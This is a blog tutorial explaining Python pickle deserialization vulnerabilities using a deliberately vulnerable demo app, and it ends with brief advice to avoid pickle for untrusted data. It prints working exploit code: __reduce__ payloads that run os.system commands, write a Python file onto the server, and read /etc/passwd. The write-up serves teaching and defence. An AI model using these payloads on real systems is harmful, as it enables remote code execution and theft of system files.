Explaining and exploiting deserialization vulnerability with Python (EN)
sam. 23 septembre 2017 Dan LousquiDeserialization?
Even though it was neither present in OWASP TOP 10 2013, nor in OWASP TOP 10 2017 RC1, Deserialization of untrusted data is a very serious vulnerability that we can see more and more often on current security disclosures.
Serialization and Deserialization are mechanisms used in many environment (web, mobile, IoT, ...) when you need to convert any Object (it can be an OOM, an array, a dictionary, a file descriptor, ... anything) to something that you can put "outside" of your application (network, file system, database, ...). This conversion can be in both way, and it's very convenient if you need to save or transfer data (Ex: share the status of a game in multilayer game, create an "export" / "backup" file in a project, ...).
However, we will see in this article how this kind of behavior can be very dangerous... and therefore, why I think this vulnerability will be present in OWASP TOP 10 2017 RC2.
In python?
With python
, the default library used to serialize and deserialize objects is
pickle.
It is a really easy to use library (compared to something like sqlite3) and very convenient if you need to persist data.
For example, if you want to save objects:
import pickle
import datetime
my_data = {}
my_data['last-modified'] = str(datetime.datetime.now())
my_data['friends'] = ["alice", "bob"]
pickle_data = pickle.dumps(my_data)
with open("backup.data", "wb") as file:
file.write(pickle_data)
That will create a backup.data
file with the following content:
last-modifiedqX2017-09-23 00:23:29.986499qXfriendsq]q(XaliceqXbobqeu.
And if you want to retrieve your data with Python, it's easy:
import pickle
with open("backup.data", "rb") as file:
pickle_data = file.read()
my_data = pickle.loads(pickle_data)
my_data
# {'friends': ['alice', 'bob'], 'last-modified': '2001-01-01 01:02:03.456789'}
Awesome, isn't it?
Introducing... Pickle pRick !
In order to illustrate the awesomeness of pickle in term of insecurity, I developed a vulnerable application.
You can retrieve the application on the TheBlusky/pickle-prick repository.
As always with my Docker, just execute the build.sh
or build.bat
script, and the
vulnerable project will be launched.
This application is for Ricks, from the Rick and Morty TV show. For those who don't know this show (shame ...) Rick is a genius scientist who travel between universes and planets for great adventures with his grand son Morty. The show implies many multiverse and time-travel dilemma. Each universe got their own Rick, so I developed an application for every Rick, so they can trace their adventures by storing when, where and with who they travelled.
Each Ricks must be able to use the application, and the data should never be stored on the server, so one Rick cannot
see the data of other Ricks. In order to do that, Rick can export his agenda into a pickle_rick.data
file that can be
imported later.
Obviously, this application is vulnerable (Rick would not offer other Ricks this kind of gift without a backdoor ...).
If you don't want to be spoiled, and want to play a little game, you should stop reading this article and try to launch
the application (locally), and try to pwn it :-) (Without looking at the exploit
folder obviously, ...)
What's wrong with Pickle?
pickle (like any other serialization / deserialization library) provides a way to execute arbitrary command (even if few developers know it).
In order to do that, you simply have to create an object, and to implement a __reduce__(self)
method. This method
should return a list
of n
elements, the first being a callable, and the others arguments. The callable will
be executed with underlying arguments, and the result will be the "unserialization" of the object.
For exemple, if you save the following pickle object:
import pickle
import os
class EvilPickle(object):
def __reduce__(self):
return (os.system, ('echo Powned', ))
pickle_data = pickle.dumps(EvilPickle())
with open("backup.data", "wb") as file:
file.write(pickle_data)
And then later, try to deserialize the object :
import pickle
with open("backup.data", "rb") as file:
pickle_data = file.read()
my_data = pickle.loads(pickle_data)
A Powned
will be displayed with the loads
function, as echo Powned
will be executed. It's easy then to imagine
what we can do with such a powerful vulnerability.
The exploit
In the pickle-prick application, pickle is used in order to retrieve all adventures:
async def do_import(request):
session = await get_session(request)
data = await request.post()
try:
pickle_prick = data['file'].file.read()
except:
session['errors'] = ["Couldn't read pickle prick file."]
return web.HTTPFound('/')
prick = base64.b64decode(pickle_prick.decode())
session['adventures'] = [i for i in pickle.loads(prick)]
return web.HTTPFound('/')
So if we upload a malicious pickle, it will be executed. However,
if we want to be able to read the result of a code execution, the __reducer__
callable, must return an object that
meets with adventures signature (which is an array of dictionary having a date
, universe
, planet
and a
morty
). In order to do that, we will use the vulnerability twice: a first time to upload a malicious python
code,
and a second time to execute it.
1. Generating a payload to generate a payload
We want to upload a python
file that contain a callable that meets adventures signature and will be executed on the
server. Let's write an evil_rick_shell.py
file with such a code:
def do_evil():
with open("/etc/passwd") as f:
data = f.readlines()
return [{"date": line, "dimension": "//", "planet": "//","morty": "//"} for line in data]
Now, let's create a pickle that will write this file on the server:
import pickle
import base64
import os
class EvilRick1(object):
def __reduce__(self):
with open("evil_rick_shell.py") as f:
data = f.readlines()
shell = "\n".join(data)
return os.system, ("echo '{}' > evil_rick_shell.py".format(shell),)
prick = pickle.dumps(EvilRick1())
if os.name == 'nt': # Windows trick
prick = prick[0:3] + b"os" + prick[5:]
pickle_prick = base64.b64encode(prick).decode()
with open("evil_rick1.data", "w") as file:
file.write(pickle_prick)
This pickle file will trigger an
echo '{payload}' > evil_rick_shell.py
command on the server, so the payload will be installed.
As the os.system
callable does not meet with adventure signature, uploading the evil_rick1.data
should return a
500 error
, but it will be too late for any security :-)
2. Generating a payload to execute a payload
Now let's create a pickle object that will call the
evil_rick_shell.do_evil
callable:
import pickle
import base64
import evil_rick_shell
class EvilRick2(object):
def __reduce__(self):
return evil_rick_shell.do_evil, ()
prick = pickle.dumps(EvilRick2())
pickle_prick = base64.b64encode(prick).decode()
with open("evil_rick2.data", "w") as file:
file.write(pickle_prick)
The evil_rick_shell.do_evil
callable meeting with adventure signature, uploading the evil_rick2.data
should be
fine, and should add each line of the /etc/passwd
file as an adventure.
Build it all together
Once both payloads are generated, simply upload the first one, then the second one, and you should be able to have this amazing screen:
We can see that the do_evil()
payload has been triggered, and we can see the content of /etc/passwd
file.
Even though the content of this file is not (really) sensitive, it's quite easy to imagine something more evil to be
executed on Rick's server.
How to protect against it
It's simple... don't use pickle (or any other "wannabe" universal and automatic serializer) if you are going to parse untrusted data with it.
It's not that hard to write your own convert_data_to_string(data)
and convert_string_to_data(string)
functions that
won't be able to interpret forged object with malicious code within.
I hope you enjoyed this article, and have fun with it :-)